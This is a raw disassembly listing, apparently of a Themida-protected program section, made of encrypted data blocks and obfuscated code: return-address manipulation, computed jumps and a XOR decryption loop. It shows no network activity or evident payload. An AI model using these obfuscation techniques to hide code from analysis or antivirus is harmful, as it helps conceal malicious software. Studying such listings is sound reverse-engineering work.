		dd 0AE3C42CAh, 60BD2B59h, 0DD66B8F0h, 8D66E73Dh, 452D5B54h
		dd 97A1FFC7h, 6E1EB82Eh, 45437D0Ch, 252A1E68h, 0FF1018D8h
		dd 11Eh, 386CB48Dh, 8E28C748h, 146ED5A7h, 7025B22Dh, 5C82DF76h
		dd 0DF6D4A2Eh, 0F364D0CEh, 0C984D943h, 0A6FCB4C0h, 0A5FFABA4h
		dd 30DE71BCh, 37C984DAh, 1670BB9h, 53AAA5A7h, 0D013C3F4h
		dd 3BCC40F0h, 64C43FDh,	0F6F968BAh, 0D6792917h,	0AE3C0428h
		dd 0BBE9813Fh, 0E0678689h, 0D5873EAFh, 7C14226h, 2284CAC5h
		dd 71DE2F20h, 0FE91C195h, 0C984D970h, 0DD0979F7h, 84D98CBAh
		dd 5A899BC9h, 2D532755h, 80F0A40Ch, 9CB94A54h, 33EC78F2h
		dd 2C1FD87Fh, 0A8C4CF96h, 4022DEF8h, 0C76BE419h, 0AFFEBB7Dh
		dd 0A6E9C04h, 0D0DF0953h, 2E800E7Ah, 0AFA18D07h, 82BCE68Ah
		dd 41D9708Dh, 0B4CF962Dh, 0AB9553D4h, 3B49EEA4h, 8E43EA65h
		dd 0AF1B7125h, 7E6E955h, 0D11351D9h, 8A08CFDEh,	0ACE189DBh
		dd 1460BDB2h, 19C62728h, 29DEFC07h, 0D416D053h,	0FC010E3Fh
		dd 2680D644h, 0ACD22B24h, 0C87A9156h, 742149C7h
		dd 8788F8ACh, 0E393B164h, 85054BF9h, 0B018C649h, 0E85ADB93h
		dd 244CF8E7h, 3810h, 6CB43A00h,	0F21C4838h, 2667DEB4h
		dd 7ADD55BFh, 0D5A6B9E1h, 4748FF15h, 0D9F6BAA6h, 0DD0A52ABh
		dd 0F60C7CD2h, 0B0A07D72h, 0EB2BDEF8h, 570357B3h, 84C01AC0h
		dd 0E3EB19C9h, 8E814391h, 382A78C8h, 0AD64337h,	0A6DE25Eh
		dd 1FD5A78Dh, 0E063B1E1h, 0E761B3EFh, 0C45E80E8h, 9589141Bh
		dd 2123C87Fh, 5DF8B02Eh, 3F6B2773h, 58BC8F91h, 52F9E7E8h
		dd 0C3799984h, 952BD672h, 1F2C1367h, 24CF96A4h,	20D27588h
		dd 0A5CF9674h, 3C530F5Bh, 0D5A771C3h, 5A888FFBh, 0E9C98568h
		dd 4CF8D75Bh, 0F7114DB1h, 0A97119BAh, 0BD6DE265h, 4AC98545h
		dd 21D57A3Eh, 6CC98546h, 11352B3Ch, 4109DCA8h, 22h, 262965EFh
		dd 0CF968CF8h, 9CB9F10Fh, 1F306034h, 0D5A79904h, 14C2DB69h
		dd 39h,	6768DA28h, 6CB4F913h, 83A4838h,	177307h, 0D5A7A167h
		dd 70EF54CCh, 0AAFF942Ch, 5573E143h, 9E5CC7DFh,	0B3EF1D82h
		dd 3B342D47h, 85286694h, 354FFDC9h, 0BF6E020Dh,	8E81434Dh
		dd 494C4F73h, 0B8AE7F89h, 5AEh,	92F8F76Dh, 76DCD310h, 583E312Ch
		dd 3E141BCEh, 1D737CE4h, 0B0B0618Ah, 9F4FD9BFh,	0FF68BA90h
		dd 0DE089AF0h, 0C1397BD1h, 7D54A04Eh, 0BEEEA7C9h, 0D5DA0F65h
		dd 4803D45Dh, 8A72A460h, 2136E46Bh, 0BFCDCF96h,	65C7E691h
		dd 3394BBF7h, 28D5A76Ah, 27C6C978h, 0BBDE8B39h,	8BCC37CBh
		dd 7E2A7E5Ah, 4FA6F6D9h, 405DEB11h, 1712583h, 60CC820Eh
		dd 0FBB7C513h, 0DAB0BFA9h, 919E48h, 4D1E8D58h, 274BFF4Ch
		dd 0F6000005h, 8F197F70h, 0A7015758h, 41E3A9A6h, 5FC98F80h
		dd 75AEE4EBh, 2E2121D0h, 10E3E68h, 616ED94Bh, 404FF92Bh
		dd 0DF70880Ah, 0C97D552Fh, 432D5F34h, 0A3738E81h, 4B89494Ch
		dd 4E844F2h, 0B1B70000h, 994ED8BEh, 0E766C096h,	0C100A2E8h
		dd 2A1E88CEh, 0F346F25h, 2F656ADEh, 104649F5h, 0F45A5596h
		dd 0D9BFB0B2h, 0FE2C235Fh, 5C97D54h, 81431C10h,	0F6D27F8Eh
		dd 0ED61F6A2h, 0A1D5AFBAh, 9B9F9053h, 0AFCA803Ch, 32251541h
		dd 0CF8E7A71h, 0FF23FA76h, 6AB3BCA5h, 699D82F6h, 0B4CF8E57h
		dd 0C9FDE364h, 890FC5DEh, 9Fh, 8B489057h, 609792Dh, 0D5A793A5h
		dd 0C0520EBAh, 4CF40906h, 7269294Eh, 0F7BB92D0h, 0EA6D878Ah
		dd 0A870988Bh, 0DB222D18h, 4FBBF765h, 53470841h, 3FAEF58Dh
		dd 2EB77C74h, 0CD6876E4h, 44615EA0h, 9E01264Ah,	830C90A8h
		dd 5DBBA875h, 83365909h, 6406A306h, 0D80A98C8h,	252781D7h
		dd 0C30DDF2Ah, 24F9405Ah, 41536h, 515E8400h, 0B5BAA9FBh
		dd 979845DFh, 0EDE267C1h, 0CAC57DA7h, 0CBFA2384h, 0E83A101Fh
		dd 8B1D737Ch, 0A7015758h, 52E4AAA5h, 5409395Eh,	51EC97Dh
		dd 94AD07h, 0B4FF0000h,	1C48386Ch, 20484786h, 0AFBAFB7Fh
		dd 64D460D5h, 7DD3DC0Eh, 0D736392Bh, 0F15A9E7Ah, 0EDD97A5Ch
		dd 33241482h, 0CF8EAF64h, 3B343761h, 0A2AD9AE2h, 0F977E55Bh
		dd 0B9A4FE24h, 8957C2B6h, 97316DDDh, 3DD846D3h,	0E919BED6h
		dd 7ECF8E14h, 3D52AEC2h, 0D59F30A6h, 0DEA47583h, 4E8F502Fh
		dd 37C49FDh, 25230000h,	5C2642Ah, 63E2440Ah, 45FC266Ch
		dd 0A6A2044Ah, 9B40E3A9h, 9BF1FE6Ah, 7CD2DD09h,	6036392Ah
		dd 450B04C6h, 6A98BFF3h, 0F9C97D52h, 90BE78ACh,	1FCF968Ch
		dd 0CF968CEBh, 164216F2h, 929D48DAh, 0FA5DD50Bh, 0D5AFBA88h
		dd 409C619Fh, 0B8788986h, 2C8F5062h, 3206BDFh, 49FF0000h
		dd 51961046h, 0BFAEF85Eh, 9948DAB0h, 0E266C096h, 0D77CA7EDh
		dd 672D2226h, 480E013Dh, 2C626DDEh, 114748FAh, 36E46B87h
		dd 0CDC97D52h, 81435458h, 0F6D27F8Eh, 0A661F6A2h, 4BD5A7ADh
		dd 9830573Dh, 0EA305630h, 891B717Eh, 4BB75659h,	515E851Fh
		dd 0D4AA0C3Ah, 0BDED1B6Eh, 0D4A96C9Ah, 254DFB6Eh, 9DF3A708h
		dd 8E814323h, 343B257Fh, 81D5335Eh, 0B37B65D1h,	714908E9h
		dd 0EE1C13D6h, 1162A58Ah, 0D07D5A7h, 10C0DDD2h,	0D57AB6E2h
		dd 0C9850925h, 0CBE29622h, 8508DA0Ch, 72F52BC9h, 0DC6F586Ch
		dd 3F1609h, 65A60000h, 0CCD1DE0Fh, 0D7311C14h, 0F49BD783h
		dd 0CF968C46h, 0BFCBAFDDh, 0A7B0A398h, 69B4C0D5h, 85683CEEh
		dd 0C1789C9h, 0DCCB2A12h, 0BC6409h, 0E83A0000h,	0B4AC717Eh
		dd 9B5E1096h, 3772804h,	8E8143C9h, 323D257Fh, 585791EBh
		dd 6AED5945h, 0CF968CBCh, 2F753D4Bh, 375C323Dh,	0CF9691E2h
		dd 0C2CD7E94h, 0F273053Bh, 0FD6FB5FDh, 0D62C9CF2h, 50801D12h
		dd 57588AD8h, 5659891Bh, 0FAC60B22h, 0F25DF2AEh, 0F7D5A792h
		dd 5DB71379h, 0AE8BEFE0h, 0EE5A1642h, 5DA0AF94h, 6A88FE3h
		dd 1DCF9931h, 0E161B3EFh, 0CA7EA8EEh, 0F07234C5h, 71CA894Bh
		dd 1C5C5h, 0E1EE5400h, 0C5CA79ABh, 2728158Fh, 3D323771h
		dd 1A15CD57h, 9B4AF334h, 0B8EAA0AFh, 5BCD838Ch,	77B1E7E8h
		dd 294FAF5h, 50B969EEh,	0D54EC97Dh, 888743D7h, 0E9E660C2h
		dd 6CB429A3h, 50C74838h, 15D5A7B1h, 0CA2DABE7h,	0FBD7D1BAh
		dd 4A8D5CD4h, 0C9852098h, 0AEB0B3E5h, 9DC8396h,	698241D3h
		dd 2A16F7F8h, 0BBFF61BCh, 0B144h, 81431400h, 78F6F96Ah
		dd 0E4EB5FA5h, 5D8FE519h, 0A479DE52h, 0F0CF9691h, 91137976h
		dd 88455857h, 5A559020h, 336F9D43h, 0BDB2ADC7h,	889C4ACDh
		dd 1DABCF96h, 93493215h, 0F31DD5A7h, 8FB48C67h,	3D2A7C84h
		dd 3D75EB32h, 0D0306692h, 9843F364h, 0B4C0C984h, 237751FCh
		dd 485FE077h, 0E804CF98h, 0F1FE6AB8h, 33374DB9h, 14CC563Ch
		dd 17068E1Bh, 4992894Bh, 0E19Dh, 858AB800h, 0E1EE55CFh
		dd 0C3CC79ABh, 212E1B8Dh, 609396Bh, 0FF2ED750h,	940E444Bh
		dd 0B7F1A7A8h, 53D5BBB4h, 7EB89E91h, 50DD0D02h,	396AC97Dh
		dd 888743CBh, 0E9E660C2h, 814329A3h, 0F1037F8Eh, 0A7A89A71h
		dd 46CD429h, 2D636CDEh,	40EE61DDh, 0C7CF968Ch, 8C54C1A9h
		dd 0C03C68D8h, 968C9F4Fh, 6008A4CFh, 0AFBB373Fh, 7D803CD5h
		dd 642A2527h, 0FE0F00C2h, 0F0ED0680h, 0A6B675CEh, 64B565EAh
		dd 6B2C97Dh, 28C4CD72h,	879DDAC6h, 8788BA7Ch, 9A9557D1h
		dd 5E851F03h, 82944C51h, 83214946h, 0FF194946h,	42564F95h
		dd 783179D2h, 0D12C231Ch, 49545B8Bh, 4C43FD97h,	0F17206B1h
		dd 41C2A6D3h, 9E9153A1h, 919E489Ah, 32FF69BBh, 454AED1Dh
		dd 50CE7AB8h, 8994Dh, 86A30000h, 444BFA08h, 8543DE2Ch
		dd 3F29738Ah, 5497ED30h, 0CA7A425Bh, 64DC38C5h,	9E4A926Bh
		dd 31300C91h, 0A895EF3Eh, 0C97E46A7h, 683727C6h, 5749h
		dd 68240C89h, 68A5h, 53241C89h,	0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0EB682404h, 8B06192Eh, 0C483241Ch, 48B5404h
		dd 4C48324h, 8B951h, 0C1810000h, 61925128h, 0E981C101h
		dd 61925128h, 0FF591989h, 83582434h, 1C8B04C4h,	0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 3F91E95Ch, 8FE0FFF8h
		db 0BDh
; ---------------------------------------------------------------------------


loc_5CDA35:				; CODE XREF: Themida_:loc_5CCA34j
		mov	eax, 6193E01h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 25EDh
		dd 10F047D8h, 0DDD42673h, 91A47748h, 7ADF3ABCh,	0A6D07424h
		dd 12BB2F05h, 68E23CE3h, 9B043327h, 5A9F4AFEh, 0AD1B7CC9h
		dd 5BF11174h, 2C400ABFh, 0CC35436Ah, 4EF6650Ah,	0ADF64363h
		dd 6A3159BAh, 2F031676h, 482A570Ch, 0E4937F5Bh,	5F4D0AC5h
		dd 818112DEh, 938F4F96h, 0D2540D6Fh, 1EAB20B5h,	267C0D5Eh
		dd 8D8D7C00h, 6193FACh,	13A137BFh, 5D8D892Ah, 6A061128h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 8D93C355h, 0D185C719h, 7006112Dh,	6A000073h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 823CC351h, 25884514h, 13E8D968h, 6B000000h
		dd 59B7F301h, 2D8217A1h, 19AE520Dh, 0BAB4A381h,	0B70F5736h
		dd 0CA815EF0h, 75A992E0h, 0BCDE8166h, 985C700h,	61127h
		dd 0BF000000h, 4757DE02h, 3199B5FFh, 5E80611h, 69000000h
		dd 180F2CB2h, 2870Fh, 5B560000h, 0A995FF5Ah, 0F06111Dh
		dd 80h,	8F0F5100h, 6, 1B1DBD23h, 6A5E0611h, 0C595FF00h
		dd 8B061105h, 7708EBC0h, 0CB30BD0Fh, 8D6FA4A4h,	1940EC8Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0D1725DB4h, 0AAC36345h, 5D8D89A2h, 6A061128h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0EF1CC351h, 6073E162h, 17B99589h,	7E90611h
		dd 64000000h, 0EAD0883Ah, 0F61D108h, 8Eh, 0D185C700h, 7406112Dh
		dd 6A00006Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 223BC355h, 0D054C64Eh,	13E94746h
		dd 54000000h, 6C27F118h, 5A33EB9Ah, 7EDB90B0h, 0F7F2AAF3h
		dd 85C7C4C7h, 6112709h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CDC43
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDC43	proc near		; CODE XREF: Themida_:005CDC3Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CDC43	endp

; ---------------------------------------------------------------------------
		aaa
		mov	bl, 34h
		jnp	short near ptr byte_5CDCC1
		mov	eax, [esi-4A0094D9h]
		cdq
		xor	[ecx], edx
		push	es
		push	0
		push	ebp
		call	sub_5CDC6D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDC6D	proc near		; CODE XREF: Themida_:005CDC65p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5CDC6D	endp

; ---------------------------------------------------------------------------
		add	al, 30h
		movzx	ebx, cx
		call	dword ptr [ebp+6111DA9h]
		push	0
		push	esi
		call	sub_5CDC93
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDC93	proc near		; CODE XREF: Themida_:005CDC8Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CDC93	endp

; ---------------------------------------------------------------------------
		db 76h
		dd 6AC2C5ECh, 6A7A79B3h, 0C595FF00h, 8B061105h,	0CC08EBC0h
		dd 4FD79E92h, 0E86DDB35h
		db 0Eh
byte_5CDCC1	db 3 dup(0)		; CODE XREF: Themida_:005CDC56j
; ---------------------------------------------------------------------------
		sbb	[edx+edx*8+75h], bh
		imul	edi, ds:869E628h, 7C0449E6h
		mov	[ebp+6112289h],	edx
		pop	ecx
		call	near ptr loc_5CDCE6+3
		dec	edx
		or	al, 50h
		pop	ds
		cmpsb
		fbld	tbyte ptr [edx-0Fh]


loc_5CDCE6:				; CODE XREF: Themida_:005CDCD9p
		imul	edx, [ecx-7EA403F7h], 63FAC1h
		add	[eax-75h], dl
		test	[ecx], edi
		xor	al, 11h
		push	es
		pop	ebx
		mov	edi, 3E69D242h
		add	edi, 0C1964691h
		mov	[ebp+6110321h],	edi


loc_5CDD0A:				; CODE XREF: Themida_:005CDD6Bj
		mov	edx, [ecx]
		xor	ebx, [ebp+6111D6Dh]
		xor	edx, 3DC2C2A8h
		xor	eax, 66031BE2h
		xor	edx, 6F90A796h
		mov	bx, di
		sub	edx, 6C04B388h
		sub	[ebp+61114C1h],	eax
		mov	[ecx], edx
		sub	eax, [ebp+6110095h]
		sub	ecx, 2DC9E81Ch
		mov	[ebp+6110B85h],	esi
		add	ecx, 2DC9E818h
		mov	bl, 60h
		sub	edi, 1
		jnz	loc_5CDD69
		mov	[ebp+6110045h],	eax
		jmp	loc_5CDD76
; ---------------------------------------------------------------------------
		db 0C1h
		dd 685D3A03h
; ---------------------------------------------------------------------------
		popa


loc_5CDD69:				; CODE XREF: Themida_:005CDD52j
		mov	bl, 0E8h
		jmp	loc_5CDD0A
; ---------------------------------------------------------------------------
		imul	esi, ecx, 0E2DC9B26h


loc_5CDD76:				; CODE XREF: Themida_:005CDD5Ej
		lea	ecx, [ebp+619427Ah]
		sub	esi, 42D18489h
		mov	[ebp+611285Dh],	ecx
		mov	di, 0C58Fh
		mov	dword ptr [ebp+6112DD1h], 6A2Ch
		push	0
		push	edi
		call	sub_5CDDA1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDDA1	proc near		; CODE XREF: Themida_:005CDD99p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CDDA1	endp

; ---------------------------------------------------------------------------
		db 26h,	64h, 0FEh
; ---------------------------------------------------------------------------
		adc	al, 0D1h
		pop	ss
		mov	dl, 3Ah
		setalc
		pusha
		mov	bx, 3121h
		movsx	ecx, cx
		popa
		mov	dword ptr [ebp+6112709h], 0
		push	0
		push	ebp
		call	sub_5CDDD8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDDD8	proc near		; CODE XREF: Themida_:005CDDD0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CDDD8	endp

; ---------------------------------------------------------------------------
		dec	esi
		push	edx
		rcl	dword ptr [ecx-41h], 1
		rol	dword ptr [edi-0A4B0DAh], cl
		mov	ch, 0FDh
		sbb	edx, [ecx]
		push	es
		push	0
		push	ecx
		call	sub_5CDE03
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDE03	proc near		; CODE XREF: Themida_:005CDDFBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CDE03	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 5E13C8Eh, 131E94EBh,	5201B7D3h, 6800Fh, 8D890000h, 6113171h
		dd 0A995FF5Fh, 8B06111Dh, 112B4195h, 0FF006A06h, 1105C595h
		dd 0EBC08B06h, 4960101Eh, 0C81FD2CEh, 0C4795536h, 0C22D4971h
		dd 16AD0342h, 0CCD7D575h, 0AC5E5E00h, 0E950218Ah, 1Ch
		dd 1C217B0Bh, 6	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CE3AA
; ---------------------------------------------------------------------------
		db 80h,	42h, 4Dh
		dd 0A9A69D07h, 8B8441E3h, 0E9E663C5h, 0CEC101A3h, 0C7F61F88h
		dd 0DC460C03h, 0FF296F60h, 9B0D434Ch, 0A6F0A6A9h, 4B15C54Ah
		dd 112C97Dh, 8E814303h,	323D257Fh, 3A352C46h, 54961076h
		dd 0A995EF5Bh, 919947A6h, 4D42FCD8h, 0F0FF64B0h, 0FCF37280h
		dd 0BEF2E5B4h, 0AE163A5h, 3E3132D9h, 3AC371EFh,	956867E2h
		dd 0C98F3DABh, 0ADE3EC5Fh, 26C7C87Bh, 9C616EDEh, 0B9EDEBA7h
		dd 0C43162C2h, 8780D65Ah, 0D9898641h, 0D83CEA6Dh, 0BDCBCF95h
		dd 0D71193F5h, 0D102C5D8h, 23CF95D8h, 8FD52827h, 0AF4C515Eh
		dd 344C6EF9h, 848BBAC8h, 7DB3C779h, 4EF80AEAh, 1B232941h
		dd 570FCD5Bh, 73h, 1E8143E5h, 4967F15h,	0A452C59Fh, 0A3CF95CCh
		dd 9469E715h, 95CC83B5h, 9EA9FFCFh, 0CD2FBC80h,	8A8DF90Fh
		dd 0CF95D85Ch, 0FBBF5DEBh, 1C01A07Dh, 131462Ah,	0DF000000h
		dd 0CCBA7B65h, 0F2E6B961h, 0F0FF64BEh, 1F10D72Dh, 7EB3B68Eh
		dd 960529D9h, 14823ECFh, 101FCE24h, 2164118h, 0CD00C701h
		dd 96049C4Ah, 0EF1DABCFh, 0C2CD7FA9h, 64E63C8Ch, 43F5076Bh
		dd 15C54A87h, 12CF968Dh, 5B548CE6h, 5F84D02Dh, 0A4E44D50h
		dd 0F2FD65A3h, 0FDF26C86h, 0FCB4BBABh, 0D1DE089Ah, 7A75F0CCh
		dd 313266A3h, 0CDED072Fh, 954B0Fh, 851F0000h, 0BEB1B259h
		dd 2F43F16Fh, 262965DDh, 0CF968CF8h, 6BB9F10Fh,	0D72DF0FFh
		dd 0DB291916h, 59876669h, 0DB5118D1h, 975A8E48h, 968C5280h
		dd 35A3D1CFh, 121DC55Fh, 0BFB0B18Bh, 0D314C5C3h, 5D31607h
		dd 0E060BC6Dh, 4C61EEFh, 0B1C7F20Bh, 0FAF570B6h, 6BB9054Ch
		dd 332DF0FFh, 1E297Fh, 0FCD5E2Ch, 0EC1A3D69h, 7BCF95E3h
		dd 0EA333C29h, 3DDAF876h, 20092ED2h, 40196E02h,	0A7000000h
		dd 75888743h, 0EA333C2Fh, 0CE081B4Dh, 0CF25151Ah, 5789141Bh
		dd 4343BD23h, 0D7728B84h, 0CF968D24h, 0E5FB0C42h, 0FCDEF21h
		dd 0D7D8089Ah, 11660A36h, 0Bh, 24D245B1h, 23CF969Ah, 656F9D95h
		dd 0AC5AFD29h, 0BBCF968Ch, 8C58860Dh, 0B5EFCF96h, 1F13818Eh
		dd 0F61718C5h, 6AB3BCAEh, 569093F5h, 56B29897h,	8CC5751Ah
		dd 0F442CF96h, 968CB363h, 9604B0CFh, 0FF69B7E2h, 968CAA58h
		dd 46C9B9CFh, 0CF968C98h, 75E311AFh, 98491205h,	0C75DD5A7h
		dd 4C6B0F00h, 0ABA4A0F2h, 8581F624h, 9395EC9h, 1EC98582h
		dd 0D957E5E2h, 0EC1A3D69h, 7BC98581h, 8EF4A5CDh, 38C5CA74h
		dd 17C74838h, 2CC98582h, 984A9890h, 1C3DDB97h, 0AAF14F08h
		dd 0F63056DAh, 0FCA5EB74h, 0E13C3332h, 87C6517Fh, 93B657C5h
		dd 0C9856361h, 0CD0B1C4Ch, 0EC361C13h, 54A07D72h, 0AF18E5EAh
		dd 0D02C153h, 0F62840F0h, 74B9AB6Dh, 856433E3h,	868430C9h
		dd 0EADDA7DEh, 1D73E177h, 0DCF76B53h, 1172709h,	0DDFB0000h
		dd 0B0EC777Fh, 0D87F2BC6h, 0C985262Ah, 95E78B39h, 48386CB4h
		dd 7307083Ah, 0AC670017h, 0B0CCD5A7h, 0DAD5176Dh, 3F303274h
		dd 5B5496EEh, 0A4BFE942h, 0A9EFE062h, 0DCF09FA7h, 3FD309h
		dd 0B4790000h, 31433F6Bh, 72EE3F30h, 7D4DC23Eh,	4A4F968Ch
		dd 3530423Eh, 0A0A7763Ah, 4F968D72h, 8BBA4D93h,	0D027E2Ah
		dd 0CF968DBDh, 0F0027E8Ah, 0A4AB9F74h, 9469E759h, 0EEA2C4ACh
		dd 99h,	0D80F65BCh, 660A36D7h, 0C9B9EDCBh, 0CCC3079Dh
		dd 0C46B0F31h, 0D5A7977Bh, 93E93440h, 0AEF85E51h, 0ADC7B3BCh
		dd 0F26EBFB0h, 1DB61ED4h, 0ABCF6F4Ch, 2CA257F2h, 0BBEDC985h
		dd 4A4E48A8h, 28D211CDh, 53AAA59Dh, 0E93B7FEDh,	7F1A707Fh
		dd 8295C591h, 0CF9E05F2h, 0DE26C775h, 0A59A636Ch, 26A040C3h
		dd 43036B68h, 0C5703870h, 5CF3AFFBh, 0D5A6EF4Ch, 0F4097513h
		dd 82C53E2h, 0EB54AE9Ah, 1087DB74h, 0BF2D553Eh,	58BEF26Eh
		dd 94CDEEE8h, 0A719C45Eh, 90CFD6ACh, 0A5CD7B01h, 386CB457h
		dd 0F4224E48h, 30048919h, 9626EF1Fh, 4AF874CFh,	23B5DA26h
		dd 24D5AF69h, 3D2F7588h, 96EC5C32h, 914F5E51h, 96994B99h
		dd 9C38D077h, 5127E3B5h, 0D9D610D6h, 38373173h,	0A5AA9FE5h
		dd 73AF9B58h, 75762EDCh, 0E66335B3h, 0E1377BE9h, 0A9A6A066h
		dd 888741E3h, 3C175h, 866B0000h, 8A854306h, 303F2973h
		dd 5B5497EDh, 0C5CA7A42h, 6B64DC38h, 919E4A92h,	3E31300Ch
		dd 0A7A895EFh, 0C6C97E46h, 0E1683727h, 89000033h, 0E0892404h
		dd 405h, 4E88300h, 5C240487h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 82682414h, 8900006Fh, 6851243Ch
		dd 51A77549h, 378ABA59h, 0CA3157BEh, 3C8B5459h,	4C48124h
		dd 51000000h, 4F89D189h, 240C8B08h, 8B04C483h, 8956243Ch
		dd 4C681E6h, 83000000h,	348704C6h, 34FF5C24h, 0C4815A24h
		dd 4, 0F83622E9h, 18AA51FFh, 0C9F2FC77h
; ---------------------------------------------------------------------------
		stc
		icebp


loc_5CE3AA:				; CODE XREF: Themida_:005CDE84j
		mov	eax, 6194760h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0A61FDC1Dh, 0CE65CD2Bh, 0F14A08A5h, 9D4F3112h, 856B25F1h
		dd 803BB875h, 60760228h, 0D91E2CD9h, 0EB55D380h, 10h, 3	dup(0)
		dd 89C08B00h, 1122CD85h, 0F1BD8306h, 61125h, 0BD830975h
		dd 611243Dh, 50197400h,	0B8C08B53h, 42Dh, 1D4D8589h, 9D8D0611h
		dd 613B229h, 585BD3FFh,	243DBD83h, 74000611h, 0B8535017h
		dd 42Dh, 1D4D8589h, 9D8D0611h, 613AF18h, 585BD3FFh, 2A118589h
		dd 0C08B0611h, 0C3DB589h, 95890611h, 6112309h, 7198D8Bh
		dd 810F0611h, 6, 2C298D09h, 0F9830611h,	9F840F00h, 0E9000000h
		dd 14h,	6C2A726Ch, 8E86F04Fh, 0C802F639h, 4B7C7F23h, 7CD906A3h
		dd 2C3D8B64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 7EF7C351h, 0FF0BE3F7h
		dd 58840Fh, 952B0000h, 6111585h, 2105B58Bh, 3F8B0611h
		dd 11E9h, 5B43C900h, 32DF36B2h,	0C6240644h, 0F5CF9952h
		dd 0C0322E95h, 0C870Fh,	7E90000h, 3F000000h, 2E0F126Ch
		dd 0AAF3D9BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0CCC35646h, 4935F1F7h, 6A535041h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0F0A5C355h
		dd 0D7EB1E9Ch, 89DB3812h, 113091B5h, 0D185C606h, 47061106h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 91C35646h
		dd 0DC83E48Fh, 11E9CAh,	89F20000h, 7F066101h, 41E3D539h
		dd 5774965Ch, 68A49F87h, 726118FFh, 481E7B2h, 756F2D24h
		dd 0C281666Ah, 0B5FFC41Ah, 6110FD1h, 0BE8h, 0BC611700h
		dd 612F972Dh, 0E392DB24h, 10E9h, 0F1356D00h, 232CA65Ah
		dd 4339B543h, 0E807F84Bh, 858D5E7Ah, 614747Fh, 1825958Bh
		dd 0D38B0611h, 9589D0FFh, 6111321h, 12D98589h, 958B0611h
		dd 61109F1h, 6D185C6h, 66530611h, 681C82BAh, 92327FD4h
		dd 68B0F60h, 50000000h,	5A310F52h, 6149B258h, 28243481h
		dd 661AAA15h, 2AB6DA81h, 0FD1B5FFh, 958B0611h, 6112BF1h
		dd 747F858Dh, 85890614h, 6110C71h, 8DFCD0FFh, 14363985h
		dd 3BF1BA06h, 85890A20h, 6112AD1h, 0C890Fh, 820F0000h
		dd 6, 391958Bh,	206A0611h, 95FFFF6Ah, 6112AD1h,	50414935h
		dd 4D85C753h, 1061124h,	0C7000000h, 11040985h, 6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 45B1E130h, 39814F83h, 0B533CFB7h, 6110EA9h, 0BE9h, 0DE1F3800h
		dd 19EE0DF1h, 9F31BA41h, 0F91858Bh, 6A0611h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C839D8C3h
		dd 0A364D7B2h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CE6D7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE6D7	proc near		; CODE XREF: Themida_:005CE6CFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CE6D7	endp

; ---------------------------------------------------------------------------
		db 4
; ---------------------------------------------------------------------------
		sub	esi, 7112E18Ah
		cmp	dword ptr [ebp+6111DB9h], 0
		jz	loc_5CE717
		mov	eax, [ebp+6112BF9h]
		movzx	edx, ax
		xor	esi, 519B8277h
		mov	esp, eax
		jge	loc_5CE717
		mov	edx, 2A4BCEB2h


loc_5CE717:				; CODE XREF: Themida_:005CE6F5j
					; Themida_:005CE70Cj
		cmp	dword ptr [ebp+61109E9h], 0
		jnz	loc_5CEB5A
		jmp	loc_5CE732
; ---------------------------------------------------------------------------
		sbb	[ecx], ah
		setalc
		mov	cr3, edx
		fcom	st(1)
		push	ebx


loc_5CE732:				; CODE XREF: Themida_:005CE724j
		clc
		mov	byte ptr [ebp+61106D1h], 56h
		mov	esi, ecx
		push	0F123536Dh
		pusha
		call	near ptr loc_5CE747+6


